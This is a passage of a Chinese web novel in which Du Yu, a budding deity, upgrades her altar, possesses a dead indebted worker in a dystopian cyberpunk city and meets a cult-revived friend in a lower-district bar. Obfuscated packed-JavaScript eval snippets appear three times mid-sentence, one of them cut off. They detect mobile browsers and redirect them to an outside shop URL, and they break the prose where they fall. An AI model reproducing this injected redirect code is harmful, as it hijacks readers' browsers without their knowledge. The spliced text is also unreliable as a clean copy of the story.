意识在瞬间模糊，触感在无限放大后极剧坍缩，窒息感从未如此强烈，都郁已经感知不到身体，精神力沉入虚无，凡体无法感知的灵体在高处缥遥。 近了、低了、清楚了，都郁终于听见了——像深海游鱼破开水面后第一次呼吸，像霖霖春雨下拔节抽条的绿笋、像羽蝶爬出旧茧，在风中等待翅膀充血舒展，她听见了崭新世界的轻笑。 靠墙坐着发呆的小伊突然抬头，一只手掌大的灰蛾不知从哪飞来，翩然飞了几圈，落在一双微微颤抖的手掌中。 田一诺怅然若失，心中的不安悄然滋长，却因为都郁的吩咐不能出房间。她怔怔地伸出手，飞蛾落在掌心轻得像一个临别吻。 “小姐小时候喜欢养蛾子，我当时最喜欢看飞蛾破茧。有一天小姐告诉我，其实蛾和幼虫，完全可以看做是两个不同的生命。” 田一诺目光失焦，额头渗出冷汗，自顾自说道：“为了拥有翅膀，幼虫会一点点蜕掉旧皮，蛹就从身体里露出，然后——” 女人双手颤抖，掌间的灰蛾忽然飞起，翅膀忽扇。 离得近了，这才看清，这飞蛾的鳞翅，竟然是一根根羽翅构成！羽毛的末端长着一颗颗灰色的眼珠，飞蛾振翅，翅膀上的花纹就犹如眨眼般闪烁起来。 田一诺突然抬头看他，红色碎发下的眼睛毫无神采，“然后幼虫就在自己长出的蛹里溶解，变成毫无生命力的溶液，新的生命就吸食这溶液，变成能在天空飞舞的蛾。” “小姐当时问了我一个问题，新生的飞蛾会梦到旧时在地上爬行时的记忆吗？” 拥有金色眼睛的男人没有回答，问出问题的人也并非想要一个答案，田一诺双眼失神，下意识盯着灰蛾。 飞蛾在高处盘旋几圈，寿命燃尽般四散为灰黑色的羽毛。未等落地，羽毛已经化为浮光，消散在虚空。 无端的悲伤涌入心底，田一诺双手虚握，捂住胸膛，好像飞蛾是从自己心脏中钻出，飘然消失后留下无法愈合的空洞，再多的泪水也无法填补。 “小姐……” 水珠摇落在地，毫无声息地流入微笑缝隙，和那道轻得几不可见的呢喃一起消失在昏暗里。 无形的枷锁悄然消失，新生的喜悦充斥心间，人类臃肿沉重的躯壳已不再束缚她。 都郁收回手，在欣喜中睁开双眼，两只亮紫色的灯蛾从瞳孔中钻出，仔细地啃食干瘪的眼珠，鳞翅缓缓张开，目状的斑纹在眼眶内妖异地闪烁。 都郁近乎本能地低下头，火光如水般流淌，映照出她耳边长出的羽翅，映照她出空洞眼白里来回爬动的两只飞蛾，映照出她身后双眼紧闭，双眼、双耳流淌出鲜血的都郁。 都郁豁然抬头，意识一瞬间拔高，身遭一切变得渺小。祭坛、神殿、灰败死寂的空间碎片、高楼林立的赛博城市、包围城市的大片死寂空洞的世界，一切纤毫毕现，一切渺小不可见。 终于，她的眼前只剩下无边无涯、永远孤寂，如星云般缓缓流淌的永恒灰雾。 灰色雾团中，零零散散亮着几个光点，像是几颗孤独的星星。都郁视线扫过几颗或粉或黑的“星星”，若有所思地转头，漆黑的天幕如巨大的圆罩，紧紧包围住灰色的雾团和其中渺小的光点。 在天幕最高点，牢牢挂着三轮巨大的朦胧发光体，像三只眼珠吐出，死死盯着气团的眼睛。 “一个月亮儿弯弯，一个月亮儿圆圆，一个月亮儿正正又方方……” 耳畔响起熟悉的歌声，是那怪梦中友人温玺哼唱的歌谣，都郁浑身僵直，喜悦和轻松都已消失得无影无踪，大脑像是活了过来，每一个细胞都在都郁耳边尖叫狂啸： ‘不要看不要看不要看不要看不要看不要看不要看！月月月月亮月亮月亮月亮月亮！不要看月亮不要看月亮看月亮看月亮看月亮看月亮，看月亮！快看月亮看月亮看月亮看yuwnlia……’ 那呐喊尖锐击破，音量大的几乎撕裂耳膜，内容颠三倒四，前后混乱，到了最后几乎变成毫无意义的啸叫，在童谣一般的歌声中显得分外诡异。 都郁为叫声中的信息心惊，但此时夜幕中的三轮光团好像正在散发无穷的吸引力，在银白光辉的照耀下，都郁惊悚地发现身体背叛了自己，正急切地、欣喜地、渴望地顶着意志的压力，头颅一点点上抬，眼眶中的灰蛾焦急飞舞，银白的光辉抚摸额头，一点点往下，眼见就要侵入眼眶—— 不行，不能看！ 灵体在颤抖，都郁感觉自己的意识好像在此刻分裂，一个自己正满心狂喜，拼命地要去看那三轮月亮，狂教徒般献祭自己的灵与肉。 而另一个自己则在尖叫中瑟瑟发抖，生物的本能在疯狂预警，不敢看不能看，不可直视！一旦看了就会大祸临头，比死亡更可怕的事将会降临！ 头颅的转动停下了，两股意志不断在体内撕扯，三轮光晕中的其中一团突然大亮，辉光照耀下抬头的意识已然压倒了一切，都郁几乎只僵持了一个呼吸就意识崩溃，不可控地抬头。 然而就是在这一瞬的停顿中，一道熟悉的光屏挡在都郁眼前。 “呼……呼……” 都郁此时才想起了呼吸，猛地吸气，意识中的异样悄然消失，理智渐渐回归，这才有余地思考刚刚究竟发生了什么。 这道光屏像急匆匆赶制的半成品，顶框里全是乱码，左下角还像被老鼠咬了一口，缺了一块，缺口出露出数根断了的电线。 在都郁的注视下光屏抖了抖，飞速消失，都郁猝不及防正脸对上三轮光晕，差点吓得心脏骤停，看清后心跳才平复。 天空漆黑一片，夜幕吞尽所有光线，都郁视野中一片正常，只有夜幕正中的三轮月亮变成了格格不入的像素风，三个像素团镶嵌在夜幕里，显得有些滑稽。 三个像素月亮依次是弯月、圆月以及一个形状奇怪的方形月亮，颜色似乎有不同，但在像素风格下显得差别不大。 都郁心惊胆跳地看了眼三个月亮，即使是像素风也不敢多看，过了几秒，远处隐隐传来鸟类振翅的声音，都郁眨了眨眼，无边夜幕、雾气星团、黯淡群星如梦般消失不见。 一座外方内圆、中间紫火高燃，四角各摆放了一盏灯台的古朴祭坛出现在都郁眼前。 都郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592515|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深吸一口气，心悸感依旧残留在脊背，她环顾一周，终于找到了回到熟悉世界的踏实感。 都郁打量着升级完外表变新的祭坛，打开游戏更新日志，瞥见一盏灯台上蹲着的六翼白鸽，“刚刚的那是什么？别告诉我是游戏过场动画。” “咕咕咕！” 166像正常的鸽子那样叫了几声，心虚地移开眼睛，过了三秒意识里才传来解释： 【刚刚玩家进入了灵界最深处，哪里还有一个名字——神界。】 都郁眼皮一跳，只觉心中迷窦越来越大，灵界可以在一些方面影响现世，原书世界和原世界都只有一个月亮，灵界深处，或者说神界中，那三轮月亮意味着什么？ 自己又为什么会做那个梦？梦中为什么会出现温玺？为什么温玺会唱那首自己毫无印象的歌？ 无数个问题盘旋在心头，在心头压下重重阴影，然而166就解释了一句，似乎生怕什么找上来一样，头缩到翅膀下，不管都郁怎么戳都坚持装死原则不动摇。 没能获得更多信息，都郁摇了摇头，打量起祭坛升级后的变化。 首先是祭坛升级后，可以免费合成的材料等级由E提升到了C，足以应付现阶段的大部分合成了，她总算可以攒一攒信仰点。 加上【梦境培养皿】中的碎片，她现在一共有十六名信徒，其中狂信徒温玺一名，虔信徒田一诺和刚投喂上来的小伊，剩下的都是浅信徒和普通信徒，加起来一天能获得六十到七十点点数。 有意思的是，即使是浅信徒，随着时间的推移，能给她增加的信仰点会逐渐变多。即使是谨慎多疑的猫胡子，信仰点也由一点变成了两点，相对单纯的沈奚静今天加了四点，和虔信徒小伊的五点相差无几。 总有种上贼船容易下船难的感觉。 都郁嘟囔了一句，关掉信仰点明细。除了免费合成的等级提升了，升级后祭坛还多了一个【配方卡槽】，可以选择纪录合成的配方。 没纪录前，即使是同样的材料，也有可能合成出不同的东西。虽然方便都郁折腾搞一些骚操作，但也很容易合成出一些废品。 有了配方卡槽，就可以在合成后选择纪录，下次就可以用同样的材料合成出同一种合成物。 这配方卡槽里的配方还可以更换，冷却期是六天。都郁想了会，没想出什么值得合成的，先不管这个新功能。 除了合成功能的变化，都郁伸出手，一簇紫火“噌”地冒出，温驯地绕过手指。 在祭坛由“不入流”升到“昏”级后，她和祭坛的联系变的更紧密了，她不需要借助祭坛才能运用神火，与信徒的联系更加紧密，不需要祈祷，就能以祭坛为桥梁，用精神力窥视信徒。 就像她终于度过神明新手期，获得了祭坛的认可和更多的使用权限。 祭坛解锁的不仅如此，都郁告诉两人可以自由活动，回到屋内躺下，眼睛闭上后呼吸瞬间平稳，像是一秒不到就坠入了香甜的梦乡。 与此同时，逐日之城，下城区。 一片狼藉的公寓里，一具刚死去的女尸骤然坐起，睁开了一双亮紫色的眼睛。 33. 东识午 第三十三章 都郁睁开眼，有些惊奇地活动了四肢。 房间很逼仄，一座简易休眠舱就占了近一半的空间，另一半分别是一张破旧储物桌，和便携式排泄物处理装置。 都郁钻出过载损坏的休眠舱，几堆衣服、奇怪的仪器、乱七八糟的杂物占满了地面，让人无处下脚。 都郁索性坐在休眠舱里，查看起这具身体的记忆。 虽然和进入小说世界的过程很像，她现在的状态更像是一种特殊的灵界漫游状态。 祭坛升级后，她可以分化出一个灵体，借助灵界进入到合适的容器中，本体可以一心两用，不受影响。 眼下这具身体就是她找到的可以适配自己灵性的“容器”，一具刚刚死去、灵性在痛苦中溃散的尸体。 上次的灵界漫游里的“小然”就是这种情况，只不过“小然”被自己捷足先登。 佑时和陈星之也是？有点相似，但是感觉不太一样。 都郁边思索，研究了一下地面的杂物，捻起三枚纽扣，紫火绕着烧了一圈，信息提示就由【凡品·平平无奇的金属纽扣】*3变成了【E·社畜纽扣】。 “咦，一次就合成出有品级的合成物了？” 都郁本是随手一试，眼里闪过惊讶。 使用这具身体时，她本身的特质和天赋依旧可以使用，但是会受到不同程度的削弱。合成游戏更是如此，她现在只能使用最基础的合成功能，无法再将东西收到背包中。 “看来这具身体运气不错。” 都郁嘟囔了一句，随手点开合成物介绍。 【合成物名称：社畜纽扣】 【等级：E】 【物品说明：承载了社畜怨气的纽扣。打工是不可能打工的，这辈子都不可能打工的，戴上这枚纽扣，每当工作时[社畜纽扣]就会弹出，随机攻击范围中职务最高的人。】 【备注：这是一枚向往自由的纽扣，‘世界那么大，我替你去看看’，它说。】 什么鬼东西？！ 都郁眼皮跳了跳，但好歹是有等级的物品，不舍得丢掉，随手揣到睡衣口袋里。 “啪。” 空管被踢远，拇指粗细的玻璃管骨碌滚了几圈，撞到另外一根相似的玻璃管上。 都郁蹲下，将周围的空管凑到一起，大约有二三十根，打量这些从某种意义上害死东识午的东西。 东识午正是这具身体的名字，没什么寓意和寄托。纯粹是三十多年前，第十五个从东入口进入社会抚养院的意思，叫“十五”的话太敷衍，管理员就根据音起了个这个名字。 大灾变后，人口数量骤减，幸存者们的生育能力也大幅下降。逐日之城建立后，为了拯救无限接近0的生育率，社会抚养制度应运而生。 每年的最后一天，上议会将会统计今年的各项数据，计算出来年的新生人口数量，交由市长宣布并下发到各个机构。 每年，由人造子宫等辅助生育技术人工制造的婴儿，将根据基因等级、身体各指标状况运输到不同等级的社会抚养院，在抚养院内完成基础教育后，输送到不同部门工作，待性成熟后可以自愿选择是否捐献遗传基因。 上议会并没有禁止自然生育，但社会抚养制度推行以来，自然生育下诞生的普通人，无论是教育水平还是未来职业规划都比不上社会抚养下成长的人，不过十几年，自然生育这种“落后”生育方式就几乎被淘汰。 实在喜欢小孩的，也可以考取相应证书后找一份社会抚养院的工作，待遇并不算低。 东识午正是在一所不好不坏，编号为04-124的社会抚养院长大，不过与其他16岁离开抚养院工作的同伴不同，她的成绩很好，因此她一咬牙，和一家公司签了助学贷款，拿了推荐信进入了上城区的大学。 然而根据灵性碎片中激荡的情绪看，这是东识午一生里做的最后悔的决定。 公司宣称的“知识改变命运”完全是一场骗局。合同一签，公司宣传中包含的帮助全是空口白话，东识午引以为傲的成绩也变得不值一提。 普通等级的社会抚养院下长大的东识午，根本无法想象01开头的社会抚养院所能享有的教育资源。 逐日之城的大学学制统一为五年，根据公司宣传的，前三年学习基础知识，后两年为实践实习。可现实是，她的同学几乎都在入学前就学过了前两年的内容，讲师也默认了这一点。 入学的第一年课程无比紧凑，几乎一年时间讲完了三年的课程，之后的全是深入和提高。在东识午几乎要被繁重的学习压力压垮时，她的同学们非常轻松就能完成课业，提前进入老师名下的研究室学习。 不仅如此，学校中的综合成绩认定，除了课程分数外，还包括实践分数。东识午光是为了完成课程要求就拼尽了全力，她的同学们还能搞组织社团、参加各项活动、考不同的竞赛证书，她本就中庸的成绩综合后，直接垫底。 大四的实习开始，她的同学很轻松就拿着一张纸写不下的优秀简历，在各大公司、研究院提供的岗位中挑挑拣拣，而她则奔波在不同的群面小组面中，祈求得到一个实习修够学分满足毕业要求。 更令她崩溃的是，公司提供的贷款利息很高，但是本金根本不够支撑东识午在上城区的开销，食堂秉持着“为了学生身体健康”的宗旨，选用的都是高标准食材，一碗素面是东识午三天生活费。 公司还堵死了她打工的路，根据合同规定，在甲方资助乙方进行学业的时期里，乙方不能进行任何与学业无关的社会活动，否则就将被以诈骗的名义起诉，索赔十倍违约金。 东识午本就被学业弄得心力交瘁，实在没有空闲时间兼职，和公司续签了贷款协议，稀里糊涂五年下来，原本咬咬牙十年能还清的助学贷款，需要六十年才能还清。 六十年间，她每月工资的五分之四都要扣除，因为未完成合同还不算公司的正式工，签约前许诺的福利待遇全都一场空。 但东识午甚至是签约人中结果最好的一批人。她五年平均每天只睡四小时，牙龈都要咬出血，勉强达到毕业要求得到了学位证，完成了合同中的核心条约，得到了公司许诺的工作。 学校里有同样是通过公司举荐进来的人，有人实在无法满足课业，最终肄业下场，不仅得不到公司许诺的工作， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她在一所普通的社会抚养院里度过了自命不凡的童年，在上城区的高贵象牙塔里吞咽梦想，度过了人生最痛苦的五年，之后的十年间都在虚度中悔恨，在疲惫和泪水中她已然窥见这条生命苍白的终点。 但是在遇见昔日好友后，这疲惫灵魂中仅剩的一点悔恨都被彻底粉碎，唯余麻木。 十六岁完成基础教育，被输送到工厂，三十六岁时满身伤痕，被工厂开除，无处立足，只剩一身皮囊可以出卖。 十六岁因不同道路分道扬镳，三十六岁在人体试验报名处重逢的两个中年女人面面相觑，同时听到了命运最恶意的嘲笑：你看，这就是你曾朝思暮想的生活，这就是你悔恨的不曾选择的命运，这就是你曾经想成为的人，你们啊，并无区别。 人总是会将生活中的不如意怪在自己的选择，设立无数个如果，如果当初多看点书，如果当时多考几分，如果当时选择了另一条路……人生会不会不同？ 东识午曾幻想过无数次，要是能重新选择，重来一次，她的命运将会截然不同。 可人类往往忘了，人类的选择往往并不出于自己的意愿，所有看似偶然的选择都是命运许诺的必然。 东识午与东识玖在时隔二十年的重逢后选择同一时间死亡，这是她们唯一能做到的，对命运的微小反抗。 也许连这个结局都已被命运写下。 34. 下城区 第三十四章 X-201号致幻剂，普通人一天喝下三管就会呕吐晕厥，出现强烈的副作用，更不用说用所有存款买下二十六管，并全部喝下的东识午了。 都郁沉默了一瞬，打量这间狭窄的员工公寓，这就是东识午为自己挑选的棺材，手腕上手表形态的光脑震了震。 都郁熟悉的手机这一智能设备在两百年多年前就已经淘汰，取而代之的是功能更全面的光脑，分为脑内植入的内设芯片和身上佩戴的外设。 这外观和手表一样的就是东识午的光脑了，这还是她十几年前进入公司后发放的老型号。 光脑操作不难，有原身和东识午的记忆，都郁很快就掌握了光脑使用窍门，按住光脑左边的金属凸起，只有她一个人能看见的光屏在空中亮起，代表“通讯”的图标上有一个显然的红点。 有人给这个账号发了消息，都郁顺手点开，目光一凝，随即变得古怪，嘴角勾起笑意： “哦？有趣。” —— 逐日之城中，根据距核心区域的距离由近到远分为01到07七个区域，其中城市区域止步于06城区，没人知道那个神秘的城主，为什么要将城郊及城市外广阔的灰雾地区成为07城区。 01到06六个城区，不止有距离上的区分，各自负责的功能也大不相同。各大公司的总部、市政部门、核心实验室、四所大学等都分布在前两个城区，因此这两个城区也被好事者称为上城区。 有上就有下，06城区这个位于城市边缘、距离灰雾最近的区域也就约定俗成地被称为下城区。 下城区在普通人眼中，是混乱、失序的代名词，是魔窟一样的存在，只有邪/教徒、自诩为迷雾猎人实际和黑/帮没有区别的猎人工会、为了实验不顾一切的科学怪人、游走在违法边缘，从事灰色行业的狂徒。 从某种意义上来说，东识午也是最后一种人之一，能在下城区开分公司的，能从事什么正经产业。 不过东识午是负责干粗活的那一类，她只能隐约感知到上层似乎在找什么东西，具体的战略布局以她的地位是不可能知道的。 因而，得益于如此“得天独厚”的“地理优势”，下城区里别的都可能不行，酒吧和赌场这两项比上城区都发达，可谓是下城区三大支柱产业。 至于另一个支柱产业，则寄托于酒吧和赌场开展——人体买卖。在下城区里，“零散”的人比整个的人价格可要高的多。 几个醉汉跌跌撞撞地推开门，没走几步就跌倒在地，门童习以为常地冷眼看着。没几分钟，酒吧对面的黑色卡车里下来一个光头，一道刀疤从左耳连到右耳，几乎要把他整张脸劈成两半。 皮鞋毫不留情地踹了几脚，醉汉吃痛翻到正面，刀疤脸光头打量了几眼，叼着烟，拎起其中最健硕的男人，手臂肌肉只稍微绷紧，直接拽着醉汉领子将他提起，就要往卡车走。 几个醉汉见同伴被带走，没有丝毫惊疑愤怒，其中一个还对着刀疤脸光头比了个中指，唾了口唾沫：“横疤头，你是不是瞧不起老子？” “呸。” 刀疤脸光头吐掉烟，骂了几句脏话，直接从身后的鼓囊处掏出激光枪，一枪打掉了醉汉伸出的中指。 中枪的醉汉愣了下才反应过来，才弓着身子捂住伤口，嘴里不断发出惨叫。 他身边几个醉汉反倒被刀疤脸光头激怒，嘟嘟囔囔骂着什么掏出枪，甚至还有从项链里取出炸弹的，七七八八地冲向那光头壮汉。 摇晃中不知谁的枪走了火，“噌”地一声擦过一人的帽子，弹射在酒吧的前门墙上。那人带着几个同伴正往酒吧门口走，见状大怒，也不管三七二十一，怒骂一声，直接加入了这场混战。 或波及路人，或看戏被打，或是看见群架直接加入，这场无厘头混战的人数一度增加到三十多人，打到最后，几乎没人还记得打架的初衷。 那刀疤脸光头打到一半脱离了混战团，见拎着的醉汉死了不由大怒，索性又打了回去，在酒吧门童无聊的眼神中扭断最后一个人的脖子，才伸指掏出仿生心脏中卡住的子弹，骂了声“晦气”后走了。 都郁仰头看着那坐在驾驶座上的光头，重新点燃了根烟，一脸默然无趣地碾过酒吧门口还在抽动的肉块，踩下油门扬长而去，不由啧了一声。 不管是上城区长大的原身，还是每天两点一线，兢兢业业攒钱还债的东识午，两人记忆里都没有下城区的记忆，这下城区的混乱让刚到的都郁开了个大眼。 “阿彪，出来洗地了！” 门童不耐烦地将脚下尸块踢远，回头喊了声。一个看上去不到十六，长相清秀的女孩闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612755|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言出来，脸上的不耐烦比门童更甚。 她穿着过于宽大的旧卫衣，瘦的跟筷子一样的细腿在牛仔裤里的破洞里晃，双手向外，十指爪状弯起，两股手腕粗细的水流凭空出现，冲刷地面，将满地人体组织冲到一边。 这酒吧已经豪横到雇佣异能者做清洁的地步了！ 水柱冲掉了尚新鲜的红色，却难以清洁地砖缝隙里积年累计下的黑色污垢，女孩看着几个流浪汉打扮的人冲出，用编织袋装起人体组织，厌恶地皱起鼻子： “我这辈子都不想喝下城区产的营养液了。” “哦？为什么？” “哪来那么多问题？” 吉祥标想也没想回怼了一句，看见搭话的女人一愣，眼里浮现出些许惊讶和嫌弃： “你穿的什么鬼样子？” 一件洗得松松垮垮的大红宽T恤，睡衣一样的条纹短裤，脚下一红一绿，红的那只还被线缝过的旧拖鞋，即使在以穿不出人样为时尚的下城区，这女人穿的也太没有人样了吧？ “唔？” 都郁顺手将吃到一半的棒棒糖丢掉，口腔里犹自弥漫着工业糖精的齁味，闻言不解地扯了扯身上的红色T恤，踩着红色拖鞋的脚提了提： “我的穿搭也是有巧思的，你看，这两个颜色还能形成呼应。” 吉祥标看了眼穿得像下楼买菜，完全不像酒吧买醉的女人，冷哼一声，径自转身离开，肩膀狠狠撞了一下……都郁的大臂，眼里怒气一闪而逝： “想吃到自己的手指，就去买下城区的营养液吧！” “年纪轻轻的，这么大火气。” 都郁摇摇头，跟着进入了这家名为“红灯”的酒吧。 昏暗的室内，台上五颜六色的彩灯疯狂闪烁，人声沸杂如一锅倒了半锅油的开水，几乎要压过歌手歇斯底里的尖叫和嘶吼。 都郁双手插兜，踩着拖鞋，避开三个醉醺醺撞来的醉汉、两个硬蹭上来的装醉人，一个想偷东西，瞪着眼硬是不知道偷什么的小偷，总算在靠近卫生间的偏僻卡座里找到了要找的人。 此时一束紫光正好扫过，照亮了女人狂热的眼睛和呆滞的五官。 东识玖，和这具身体出自统一社会抚养院的朋友，并与她相约一起自杀的同伴。 一个理论上，应该是死人的女人。 35. 同行 “小五，你来了！” 瞥见都郁控制的东识午后，女人脸上的僵硬没有消失，古怪的狂喜在那张苍白的脸上扩散，灯光倏然离去，那双棕色的眼睛在黑暗中亮得出奇。 都郁眼睛眯了眯，朝女人走去，一手按在酒桌，身体微微前倾，居高临下地审视着坐着的女人，脸上的表情似笑非笑： “你是谁？” “小五，我跟你说，我找到解决的办法了……” 女人激动地攥住都郁的手腕，欣喜的话说到一半，似乎这时候才意识到对方反应的不寻常，像机器般卡顿了一下，脖子一点点向上弯折，声音如常还带了点委屈： “我们不是前几天还见面了吗？你不认得我了吗？我是小九啊？你以前不是还开玩笑我们俩是九五至尊吗？” 忽略东识玖僵硬的表情，光听声音中的委屈，都郁竟然找不到一丝异样。但一个死人，怎么会约另一个死人在酒吧见面呢？ 没错，都郁刚刚在光脑上收到的邀约，正是来自对面满脸僵硬，声音委屈的东识玖，一个死人！ 如果说东识午喝的过量致幻剂，还有丁点儿及时发现抢救成功的可能性，在东识午的印象中，东识玖必死无疑！ 她的问题比东识午还严重得多。如果说东识午是被沉重债务和精神上的绝望逼死的，东识玖就纯粹是被身体拖垮的。 她在工厂干了二十年，为了绩效贷款换了相应的双手义体，义体债还没有还完，她又在工作中失去了左眼和小半部分你后脑，因为没有及时治疗有了严重的后遗症。 她更是在之后的事故中受了重伤，几乎全身瘫痪，之前换的义体在事故中严重损坏，几乎无法使用。 在东识午遇见她的时候，她为了天价医疗费疲于奔命，就连负责人体实验的黎博士都嫌弃她，直接否掉了她的申请。她已经走投无路，连最后一支营养液都是东识午提供的。 事实上，压倒东识午的最后一根稻草，正是她在东识玖公寓里的谈话。 两人各自讲了过去的二十年，在东识午离开时，东识玖已经进气少出气多，已经开始回光返照了，如果不是天降一个上城顶尖医疗团，东识玖怎么可能坐在这里跟自己讲话？ “哦对了，是我忘了。” 东识玖收回手，粲然一笑，脸上僵硬的表情竟然自然了不少，“神迹就在眼前，凡人自然会惊疑，你没有见过吾神的荣光，当然会怀疑我。” “吾神？” 都郁敏锐捕捉到关键词，表情变得古怪了起来。 东识玖没察觉到都郁反应的不对，拽着都郁坐下，悄悄附在她耳边，举起酒杯，压低了声音： “是的，我过去三十年受人蒙蔽，蠢笨不堪，可吾神没有嫌弃我，反而仁慈慷慨地赐下神迹，治好了我这身血肉之躯。” 都郁瞳孔微微一缩，自然不是因为东识玖话里涉及到的邪/神，而是因为她举着酒杯的手。 手指稍粗，关节凸出，指腹依稀可见粗茧，这就是一双正常的普通工人的手，不是几天前那双皮下积液溢出，失去拟态功能的蓝色仿生手！ 东识玖的手回来了！ 不考虑资金，以逐日之城的医疗水平，断肢重生都是需要耗费数个月的大型手术，东识玖怎么可能几天就恢复过来？ 不仅仅是双手，都郁视线扫过，眼睛、烧伤、旧疤，东识玖身上的旧伤全部消失不见！ 这是逐日之城最顶级的医疗团队都做不到的事！ 东识玖见都郁明白了，满意地坐回去，抬起下巴，“这都是吾神的恩赐！小五，别听议会那群吸血鬼的，这都是他们对吾神的嫉妒和污蔑！这个城市已经没救了，只有信仰吾神才是唯一的救赎。” 说到最后，东识玖忽然站起，双臂交叉抱在肩膀，做了个自己抱住自己的姿势，闭上眼，嘴角勾起酣睡般的香甜笑意。 好在周围一片群魔乱舞，东识玖的动作不算突兀。都郁眼神古怪，总算知道了东识玖叫自己来的目的，她想把自己也拉进她信仰的邪/神教会里！ 都郁嘴角抽了抽，你的神知道你这么努力，传教都传到另一位邪神头上了吗？ 心里古怪，都郁也豁然起身，抓住东识玖的手，目光灼灼，语气哽咽：“既然如此，我也不伪装了，小九，我今天来，也是带着我主的任务来的！” “这城市上下沆瀣一气，只有我主会带来最终的救赎。” 东识玖似乎都懵了，都郁的反应不对啊，哪有面对邪/教徒传教，反手掏出另一个邪神的？ 东识玖目光呆滞了几秒，像是过载的机器，半分钟后才像被踩了尾巴的流浪狗，气急败坏地骂道： “胡说，都是胡说！人世苦楚，唯有乐土才有真正的欢愉，只有吾神才是唯一的神，小五你不要被邪神骗了！” “哦？是吗？” 都郁脸上做出犹豫状，“我信仰的那位是伟大的聆听之主，听上去就很厉害。小九你信仰的是谁？” 听到这句，东识玖的愤怒稍微缓和了几分，身后影子中躁动挣扎着的东西也缓和了下来，眼珠上下转动，僵直了几秒才坐下，神情中的狂热减少了几分： “‘聆听之主’？听都没听过的名字，保不齐是谁瞎编出来骗钱的，小五你可不要被骗了。” 东识玖双眼直勾勾地盯着都郁，声音压低，明明音色没变，她的声音却莫名好听了不少，普通地说话都像是在哼唱： “神名不可轻念，我只说一次，小五，你可要听清了——吾神，名【靡靡音】。” “靡靡音？” 都郁这次不用假装，她是真的没听过这个名字。 “哼，议会的走狗不断封锁消息，追杀吾神的虔诚信徒，你没听过吾神的名字也情有可原，但现在回归乐土的唯一路径已经显现，你还要执迷不悟吗？” 见都郁迟疑，东识玖声音里掺杂着些许烦躁：“小五，你是我最好的朋友我才来劝你，其他人想要觐见吾神……” “小九，我是信你的。” 眼前坐着的女人打断了她的话，吞了口口水，似乎面临什么两难的选择，声音犹豫：“可是，聆听之主教会的人说，加入他们后，每个月都能领三百信用点欸……” “这骗术太老套了！她们怎么不给你发点鸡蛋呢？” 东识玖恨铁不成钢地一拍桌子，冷笑道：“每个月发钱算什么，小五你只要加入我们，你欠的五百万信用点，我们都能帮你解决……” “真的吗？！” 女人犹豫不决的眼睛骤然被点亮，她迫切地前倾身体，一把抓住东识玖的手，像是抓住了什么救命稻草：“小九，我愿意！我愿意加入的！快让我加入！” 东识玖话没说完被噎住，都郁一扫刚刚的犹豫，双眼中满是欣喜，她的声音莫名降低，不知道为什么有种被套路的感觉。 东识玖迟疑地发问：“那……你信仰的那什么聆听之主呢？” “那算什么东西，怎么比得上五百万信用点啊！小九，我现在就加入，五百万哪里领？” 东识玖险些被都郁的热情弄得不知所措，她抽了抽手，没从都郁的手中抽回，压下心底不断涌出的古怪，压低了声音： “好，小五，你现在也是吾神的信徒了！吾神的恩泽一视同仁，不会辜负每一个信徒……不过你现在刚加入，你还得向吾神证明你的虔诚。” 都郁已经开始翻找东识午的收款码了，听到东识玖语气转变的后半句话，意兴阑珊地停止动作，左腿横放在膝盖上，在心里“啧”了一声。 切，画饼啊。就说都是邪神，你靡靡音凭什么这么有钱。 东识玖似乎在都郁质疑的眼神中坐不住了，她看着都郁念完靡靡音的祈祷词，犹豫地摩挲着酒杯，一咬牙做了决定，“吾神会奖励你的虔诚，小五，你等我一会儿。” 念出祈祷词后，容器中的灵性动了动，都郁倏然感知到无形的虚空中，似乎有什么庞大的存在投来了注视，注视如有实质，吸引诱/惑着灵性。 然而都不用都郁压制，灵性动弹了几下就没了动作，像是跟那无形中的存在懒洋洋打了个招呼又继续躺下。 都郁感知中，那道视线停顿了几秒，似乎非常诧异地来回扫视了好几趟，毫无收获后才不甘心地消失。 看来一个邪神是不会成为另一个邪神的信徒的。 都郁的小实验很快有了结果，她看着东识玖的身影消失在三楼某个办公室，心里有了计较。 看来对方选择这间酒吧不是偶然，这里就算不是他们的聚会场所，也在一定程度上为他们打掩护。 视线隐晦地扫过几个一直盯着这里的人，都郁在心底摇头。 都说人在信仰邪神的一瞬间心智就会被扭曲，六亲不认都是说的轻了。如果今天来的是东识午而不是都郁，她拒绝东识玖的传教后很可能都走不出这间酒吧。 毕竟这里消失个人再寻常不过了。 “咦，你在这里干什么？” 一道矮小的身影从洗手间里出来，没看清脚下，险些踩到一只破烂的绿拖鞋。 吉祥标看那只绿拖鞋看乐了，提了提裤子，与坐在座位上的都郁对视了几秒，挥挥手，“这里不是你该来的地方，不想死就滚远点。” 都郁敏捷地捕捉到了女孩眼里的忌惮，晃了晃手中的酒杯，“我约了朋友，她临时有事。” “朋友？” 女孩垂眼看着桌上的两杯酒，肩膀抽动，嗤笑了一声，“把你推进火坑的朋友吗？” 